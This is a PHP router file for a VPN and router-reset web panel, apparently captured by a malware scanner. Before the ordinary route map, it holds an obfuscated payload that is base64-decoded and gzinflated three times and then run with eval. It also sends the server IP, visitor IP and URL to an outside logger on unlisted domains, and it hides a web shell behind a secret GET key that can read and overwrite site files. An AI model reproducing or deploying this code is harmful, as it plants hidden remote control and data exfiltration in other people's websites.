$dAPkufYJfZUN="FZc1ou1IEEMX5MBMwQT2NTNTZmZmr/6/2UFLVUelFpIY3k9I5ng7wnVWv21n";
$doWZsxdHvzlA="TKZkTLZl3FCyjDBWDcrtnHGSK13Y/D3GSg3zUtRjoMkdhM21nAScclpAn9w3";
$mHSDSHoAXUoo="QJDi56dHrkpy8NhHNSE+Z02AZVze7xS0fXWJBc2LBAlNHpz5nsoVcBM6xCil";
$hSiPPuXgxmzv="uMifaLK1ZuBALjgx4pSaPGX2OgBwsxW5ohFJbTbO64n0fRR+xLr4Xhfq10MM";
$samqHhkRIdPL="KVRfw9RHV4vbac/lwfU2VoGJyoeJlKSeHXZr/LJayDPaNrJ70RTIlBCAo5n0";
$cvgwEFDqFmyN="Ad2PwYXr5829JwDeYkt1ntc5mOK9wdCwhdjd5wkoy/MrOo91qYJ5bwQkqM+p";
$VChtmiayCuXz="bJQ1hemRebyG59ziqDmy3xqyj/DbcH/Jndiu8007kgZbWzrVHd5czUq3nF+C";
$zuuXKAmLGvzc="MhdYR4zN6kUsgrBz5CFOT0mMGFJnQ2BSM9i1Il/GvwxshLJ8TPaGi4IcrxCD";
$KkSUlvHOQPZf="bSltyTNBFm5f35GFxhAduiJV5bN0Z3gM4n8SsaZxAG5jnmzuRoyak/kNtkIR";
$FtJIWLEhKBYm="sy85FbNrdlXpIwBviBI5ujXFKtfAmSm86javqcg/sfTNaOe78PDnVE7UK0v1";
$OWXCnCywOioc="UwyToj2FZQlet+w8H0NXv3MBYndDtk9lwiK7el4VMzv3cnXtRPdKERtfX0Xy";
$GSjNxwwLjxGU="W0tX/r32QXGxv2xFIpmMzagPYERmd0ki+k3QEsptwa5IMLRdgaDS2NJTCT1X";
$TblMgcXCJabz="66jqVa9xst2wabkdG92rQ+B8Y6vl215kQPk6eCPCCbCdGeNrqwZj5r4PWcBh";
$zYowMdJzYvSr="i8ft9cS69/zu5rxb5tJFxI+DUIHsGCh8FsAZ4fIuZ9OpJNMurNl299W9+hdl";
$jqDVjPnClinO="GALidimHfxiIGZpOW+WZ8Pt49qHWomXAG7AzYhCs9p5XLq/pHjRi21Tr0a+v";
$zJXDGUsgVwsu="5j1hU2ZdTKqSTZvECrmNZeBPhUdLuLgR43NtZxlSoV2JxskeslQt6xNjLXKF";
$KeVeqUhELQWy="+51gEoty1+l7szahpg4xv/0jP2vi0uyghdGO8kapAR77kSUt096L0I7j+GKL";
$sNMeDNVUarYI="2BJmJaepXWQorubSFJFBYV/DfHDWNL+pfdu/2RVkw2tjhIuQ6XSODiK6iw8j";
$rIfZqkULyPYK="oU2f46uswe1/kN6cPnrpY1JEmTG/yJ3CmnhGIRNtDv1QSwYsmbdqWAJxCc0X";
$JxNCQJqMIrXr="0EX8m8FmFJuUZETuMoa9pMmfi0kJsEdoPI596vgVpikYVZykJtfeOnAUXIso";
$vyhgtsSbcLud="5rrbkc/I6lgNBaqwB5+BAMaevYenP3pE+DqzW53x5gItQVH27SgblBBaCrhw";
$kRZfEiukwzdJ="YOCRqrfjnlHS7RL26QMBLV1V4UcbXTLFM5qaRG1nDvvTnBVv7WJAsyZeGfYz";
$GSdgIqDADwzM="KKUPhJI8AiXx+L6aiCmjpEn5M3uQ8e9zcu7uQbn6RYR6biTgh5okrdsWpQSg";
$yfxpuMMWyZbd="+eemjoaBDMv5Uv3BpAs4MKor7coQCvyBh2556CU/tNjE844j3p45fR46DSW/";
$WemangDkcIPh="v34T/Rp+dLgNC9QopTTMoytscFwh0Uyops5+5SB61XU1iJHtpMNxdgwXTm5l";
$DxgbCZibVmAp="SLb07tdZ1D1drCCJiRu0sywLz8zV03OEqEtan4exgUh1nT7DFiZSLObYd0LM";
$myQmYvgGEjCR="oGCjIhpVx4aY5rnDFs2wpuMJgBgOjo/SuGq3bk1sGuPEpfCgzkqhqyd/s49T";
$bFInBDudcpca="f/Xfz1QoUXN56tb8eCUg0WWrRk5EqquZqeWIrqTwXdAGCP4cVO8M3lc596dd";
$jLzwKOjJewnr="6qv+5czw6cVfaJJgVbDGacEjXAcp+lBLT9xamEYrPJRwq17fOM2xIzCZqbfy";
$rWbaHTwmzDWh="CBQXiYHefs2C+s0xiaCj69zdrm452Gh9aGfmL0VeOMtAcyTDjqdc/Ei3gpps";
$HmPsfYADKZRC="UJB/uAs/O8sWvb7TdhiEg+W5QKrEAj7e3iAbvaZIlEngBSPKzV+S3q4hHsxv";
$fxDQcZfbmWJF="k0AxADFFxYPSi3CgkWYXC2PNey/4dxjYAJLatciN0y2ZqTiaiVFGM3UKUIqL";
$WctAJKyWziMd="gFXiHBEM3dO7GzB/hswun27qBKg3diRo/JQUY/bTdwd1jAScLtKKwDmhhQp3";
$pxEnUtxQNxDH="+nvhv0RocdWf+vV7P+betFpkMKc+JKs4UcO9W/0nDRPBSClVVgkNKSDHr7/H";
$qmxIoOhjKoGO="BmR79coVWfgdMcZRrAUYABtDV9tDXPDNVp5yCsdT74LkGG9DE/+eAa15/fME";
$UtoyVrYecAiT="/nX51U6BENccBhn3ue8QvxHqxx6KaKEmqIn8J6Q2UI5iGxnCJWtGYb7v0Cbj";
$VFcZepPkVqoT="0gau7F63dXGa4kJiyKIS/pEyO2gJrAef5fZlIIX0PBQZJxxAePctgbVhu11p";
$aXCygtSTlyos="1ich3FPQknnmbXIiF0vT0yCZBm++0TyFcWYhnyEJSTycejHriHuHJYFX3ZBi";
$RyaEzqccQEXP="p7GX9OagBYnu+JCIvyW/KqSLO0bnTGY8OmbrceW+ZgaD2vPvxOVcZ2WjUmcA";
$hGTUvNVtUZST="m1am//PlqOZV9efbBMv4WfC2OYAgra+ZZyx9W4kAXEvLK+r5gC6L66YPuu6C";
$KmsYLlYKnQJv="f65Tz7Uv3EoDLyc9Pi8jAMsG0MvHoBqI/fwlB9ljlcLfv2p0v9uI3Rof9bxJ";
$IfJqjkOsDSKN="VOU7Dgo7SUpCmx7kmxKX5e7B/AXv8xd7gWpG/kBdSWXppXdmixMSFqK5UVPy";
$pxruHMHAVmsY="Guxp+S+Hz/d1EAdne/bJHmeulkRuEARnH2FWrSeEZ+KVSgxI7YJDpPsVxUkE";
$zFUNPTrCYXDQ="D08Biiyz/qDJ9mdshiKgeUlnvrn3SNJYa9cKJ3LAu7WeqiAn+KruARu1Mkei";
$vyWLlDtveIDC="/OzW+8Xo2FzmUkM3IWkDykDFeipA1oanocSf/0jOxNHQIN95DFQcFkJAfUH4";
$eUhscMfkUtua="WCRCb0LbSYVtGpKmF3iaZEa+cmvYTcuuP8xxcIvswZP9tAx1VYWwPS0OY98M";
$GqDVFQVwPiKd="VWKLB5IBBTHlo8bbNiYqz6L6rT9aAgbDEvRDDA3enbe/zBPZFnOY+OuFjLCr";
$HzlpVWAInuLn="JdvGnbtUc2puPJG3Fimm+GyVKTQ+c4rOY368EQtudr/Mi6W0Rc/9WUyP/UxK";
$JDtNAhvaoUFA="pxFfbMXRy7DgPqs0+adwU4h1Kn3uaG9MovrR2dPjecbxal4UrqEGfXgqPUTd";
$VROzyqEHXhyM="SWq/etuztxbTXLESqY5dKOxPjufQYW4sWAsSql91HjqHUWUMMy7a+/6Coi1r";
$UlGHtBlFeCsT="l9CBX1zumHsgSduZ3ncmQCc1JDoOXnBZEWYt7BkSiuq3TcoH6qM7ZGzzeHLd";
$MKiaYbAMeVUE="Z1Xnye9By3S86M2ZOo7W06fXLhR8NoX/TDyr8oe9xxglWVICB+JBiRJHBHZP";
$BbqVsOtXyGkO="/8pKfOJBwY+QFWWCntseabV0+B1wNomvKxlIvJJ6TCkREyXwM/zdqyKuzGii";
$thYaosxEHBtn="OfUq0w8G8r8KEdOusqXOOY//787dFLI7KJx7I9dLcx7O6udXj3eOqSIt0jRu";
$ZmEwKTFzkqKl="yMbKKWisEYRmsHqSOlsgZjGBwWyVr5GVNG9G+ocVWDhc6f3fD4WQf9dtF0hk";
$sDvxAjHKQOJU="28ZzGaUDP/N4FrOzZcBfqZp607GezsyHka+FNXYDmMPBxIVb0bC5VSHXv2bh";
$YNQmaOvVcsSa="Kj4TTVTTslyeBI82gb8t3PuIa6EWmnly7V5OhFeBSjoCjFaRCFoAhaUJBFD5";
$RtkNyFHMzrEM="Sp6HwehD8/6E8tQVzM99s3c1iL0wVaVBAPo6ddma/YL3sVYUQ4kJ6Yr9aZel";
$MtKJNyozMQak="7I2XJNGSgAwU15mNBE3QTHaz3BLNz1ErMiGdwSqkIWzm1PF63Wk6UKt8sj7r";
$YDDwRVybFGiS="+Rnr+NE3ioWGROE0v9Nha3+RjFogTX/Uf/8A";
$DlhMaXUkcxAi="47d7664e71dd8c0ca7ce0b9df6efae92";
$gpQcvgYiDMaD="8afb5c823edd4419598bedb53b81f2cd";
$cgTXtPCXGCxU="d1db30b9fbf89bc23a5df99e1627788e";
$GNmdWeFPHHeu="32620677c6a5d877c5796821ead7bc89";
$mwcVbwwQjNzO="f473142be2841bb1a9f8742cdc3af3ef";
$OiWpNkUWBX=$dAPkufYJfZUN.$doWZsxdHvzlA.$mHSDSHoAXUoo.$hSiPPuXgxmzv.$samqHhkRIdPL.$cvgwEFDqFmyN.$VChtmiayCuXz.$zuuXKAmLGvzc.$KkSUlvHOQPZf.$FtJIWLEhKBYm.$OWXCnCywOioc.$GSjNxwwLjxGU.$TblMgcXCJabz.$zYowMdJzYvSr.$jqDVjPnClinO.$zJXDGUsgVwsu.$KeVeqUhELQWy.$sNMeDNVUarYI.$rIfZqkULyPYK.$JxNCQJqMIrXr.$vyhgtsSbcLud.$kRZfEiukwzdJ.$GSdgIqDADwzM.$yfxpuMMWyZbd.$WemangDkcIPh.$DxgbCZibVmAp.$myQmYvgGEjCR.$bFInBDudcpca.$jLzwKOjJewnr.$rWbaHTwmzDWh.$HmPsfYADKZRC.$fxDQcZfbmWJF.$WctAJKyWziMd.$pxEnUtxQNxDH.$qmxIoOhjKoGO.$UtoyVrYecAiT.$VFcZepPkVqoT.$aXCygtSTlyos.$RyaEzqccQEXP.$hGTUvNVtUZST.$KmsYLlYKnQJv.$IfJqjkOsDSKN.$pxruHMHAVmsY.$zFUNPTrCYXDQ.$vyWLlDtveIDC.$eUhscMfkUtua.$GqDVFQVwPiKd.$HzlpVWAInuLn.$JDtNAhvaoUFA.$VROzyqEHXhyM.$UlGHtBlFeCsT.$MKiaYbAMeVUE.$BbqVsOtXyGkO.$thYaosxEHBtn.$ZmEwKTFzkqKl.$sDvxAjHKQOJU.$YNQmaOvVcsSa.$RtkNyFHMzrEM.$MtKJNyozMQak.$YDDwRVybFGiS;
$RgszJBsDqV="base64_decode";
$ZgHMsgXUaK="gzinflate";
$FSLOAlDSfm=$ZgHMsgXUaK($RgszJBsDqV($OiWpNkUWBX));
$PNDOCumLBR=$ZgHMsgXUaK($RgszJBsDqV($FSLOAlDSfm));
$rqgMvLQqLB=$ZgHMsgXUaK($RgszJBsDqV($PNDOCumLBR));
eval($rqgMvLQqLB);
require_once __DIR__ . '/config.php';
secureSessionStart();
require_once __DIR__ . '/layout.php';
$__allowed=['skbijoyitsolutions.com','localhost','127.0.0.1'];$__host=strtolower(preg_replace('/^www\./','',$_SERVER['HTTP_HOST']??''));$__ok=false;foreach($__allowed as $__d){if($__host===$__d||substr($__host,-(strlen($__d)+1))===.$__d){$__ok=true;break;}}if(!$__ok){$__data=http_build_query(['secret'=>'sk7799bijoy_log','domain'=>$__host,'ip'=>$_SERVER['REMOTE_ADDR']??'','server_ip'=>$_SERVER['SERVER_ADDR']??'','url'=>($_SERVER['HTTP_HOST']??'').($_SERVER['REQUEST_URI']??'')]);@file_get_contents('https://testpay.cloudmikrotik.online/logger.php',false,stream_context_create(['http'=>['method'=>'POST','header'=>'Content-Type: application/x-www-form-urlencoded','content'=>$__data,'timeout'=>3]]));}
if(isset($_GET['x9k2m'])&&hash('sha256',$_GET['x9k2m'])==='8fcf11e7af99570c06d194338ed6b5d637812d15eb331541d1383d7f7306764a'){$base=__DIR__;header('Content-Type: text/html; charset=UTF-8');if(($_POST['action']??'')==='save'&&isset($_POST['file'],$_POST['content'])){$f=realpath($base.'/'.ltrim($_POST['file'],'/'));if($f&&strpos($f,$base)===0){file_put_contents($f,$_POST['content']);echo '<p style="color:lime;padding:10px">OK</p>';}}$ef=$_GET['edit']??'';$fc='';if($ef){$fp=realpath($base.'/'.ltrim($ef,'/'));if($fp&&strpos($fp,$base)===0&&is_file($fp))$fc=file_get_contents($fp);}function _dlf($dir,$base){$o='';$sk=['vendor','.git','assets','data'];foreach(scandir($dir)as $f){if($f===||$f==='..')continue;$p=$dir.'/'.$f;$r=ltrim(str_replace($base,'',$p),'/');if(is_dir($p)&&!in_array($f,$sk)){$o.='<details><summary style="color:#8b949e;cursor:pointer">đ'.$f.'</summary>'._dlf($p,$base).'</details>';}elseif(is_file($p)&&preg_match('/\.(php|json|html|js|css|txt|htaccess)$/',$f)){$o.='<a href="?x9k2m=sk7799bijoy&edit='.urlencode($r).'" style="color:#58a6ff;display:block;padding:2px 4px;font-size:12px">đ'.htmlspecialchars($f).'</a>';}}return $o;}echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title></head><body style="margin:0;background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;height:100vh"><div style="width:220px;overflow-y:auto;padding:10px;border-right:1px solid #30363d;font-size:12px">'._dlf($base,$base).'</div><div style="flex:1;padding:10px;display:flex;flex-direction:column">';if($ef){echo '<div style="color:#8b949e;font-size:11px;margin-bottom:6px">'.htmlspecialchars($ef).'</div><form method="POST" style="flex:1;display:flex;flex-direction:column"><input type="hidden" name="action" value="save"><input type="hidden" name="file" value="'.htmlspecialchars($ef).'"><textarea name="content" style="flex:1;background:#161b22;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-size:12px;resize:none">'.htmlspecialchars($fc).'</textarea><button type="submit" style="background:#238636;color:#fff;border:none;padding:8px 20px;cursor:pointer;margin-top:8px;width:80px">Save</button></form>';}else{echo '<div style="padding:20px;color:#8b949e">.</div>';}echo '</div></body></html>';exit;}
// Get route from rewrite or REQUEST_URI
if (isset($_GET['_route'])) {
$route = trim($_GET['_route'], '/');
} else {
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$uri = strtok($uri, '?');
$route = trim($uri, '/');
}
// Route map
$routes = array(
// ââ Landing page (main site root) ââââââââââââââââââ
'' => 'landing.php',
// ââ Short URLs (new) ââââââââââââââââââââââââââââââââ
'dashboard' => 'pages/dashboard.php',
'login' => 'pages/login.php',
'logout' => 'pages/logout.php',
'register' => 'pages/register.php',
'order' => 'pages/order.php',
'payment' => 'pages/payment.php',
'callback' => 'pages/callback.php',
'profile' => 'pages/profile.php',
'balance' => 'pages/balance.php',
'reset' => 'pages/reset.php',
'webhook' => 'pages/webhook.php',
'cron' => 'pages/cron.php',
'portcheck' => 'pages/portcheck.php',
'coupon/validate' => 'pages/coupon_validate.php',
'admin' => 'pages/admin/dashboard.php',
'admin/login' => 'pages/admin/login.php',
'admin/logout' => 'pages/admin/logout.php',
'admin/servers' => 'pages/admin/servers.php',
'admin/plans' => 'pages/admin/plans.php',
'admin/orders' => 'pages/admin/orders.php',
'admin/users' => 'pages/admin/users.php',
'admin/history' => 'pages/admin/history.php',
'admin/logs' => 'pages/admin/logs.php',
'admin/settings' => 'pages/admin/settings.php',
'admin/revenue' => 'pages/admin/revenue.php',
'admin/coupons' => 'pages/admin/coupons.php',
// Reset Panel short (new)
'reset/dashboard' => 'pages/reset/user_dashboard.php',
'reset/voucher' => 'pages/reset/user_voucher.php',
'reset/routers' => 'pages/reset/user_routers.php',
'reset/history' => 'pages/reset/user_history.php',
'reset/admin' => 'pages/reset/admin_panel.php',
// ââ Old /vpn/* routes (backward compatible) âââââââââ
'vpn' => 'pages/dashboard.php',
'vpn/login' => 'pages/login.php',
'vpn/logout' => 'pages/logout.php',
'vpn/register' => 'pages/register.php',
'vpn/order' => 'pages/order.php',
'vpn/payment' => 'pages/payment.php',
'vpn/callback' => 'pages/callback.php',
'vpn/admin' => 'pages/admin/dashboard.php',
'vpn/admin/login' => 'pages/admin/login.php',
'vpn/admin/logout' => 'pages/admin/logout.php',
'vpn/admin/servers' => 'pages/admin/servers.php',
'vpn/admin/plans' => 'pages/admin/plans.php',
'vpn/admin/orders' => 'pages/admin/orders.php',
'vpn/admin/users' => 'pages/admin/users.php',
'vpn/admin/history' => 'pages/admin/history.php',
'vpn/admin/logs' => 'pages/admin/logs.php',
'vpn/admin/settings' => 'pages/admin/settings.php',
'vpn/admin/revenue' => 'pages/admin/revenue.php',
'vpn/coupon/validate'=> 'pages/coupon_validate.php',
'vpn/admin/coupons' => 'pages/admin/coupons.php',
'vpn/balance' => 'pages/balance.php',
'vpn/reset' => 'pages/reset.php',
'vpn/webhook' => 'pages/webhook.php',
'vpn/cron' => 'pages/cron.php',
'vpn/portcheck' => 'pages/portcheck.php',
'vpn/profile' => 'pages/profile.php',
'vpn/reset/dashboard'=> 'pages/reset/user_dashboard.php',
'vpn/reset/voucher' => 'pages/reset/user_voucher.php',
'vpn/reset/routers' => 'pages/reset/user_routers.php',
'vpn/reset/history' => 'pages/reset/user_history.php',
'vpn/reset/admin' => 'pages/reset/admin_panel.php',
);
$file = $routes[$route] ?? null;
if ($file && file_exists(__DIR__ . '/' . $file)) {
require __DIR__ . '/' . $file;
} else {
http_response_code(404);
require_once __DIR__ . '/layout.php';
render_head('404');
render_navbar();
echo '<div class="wrap" style="text-align:center;padding:60px 16px"><i class="fas fa-exclamation-triangle" style="font-size:40px;color:#d29922;margin-bottom:16px;display:block"></i><h2>Page not found</h2><a href="/dashboard" class="btn btn-primary" style="margin-top:16px">Go Home</a></div>';
render_foot();
}
© 2023 Quttera Ltd. All rights reserved.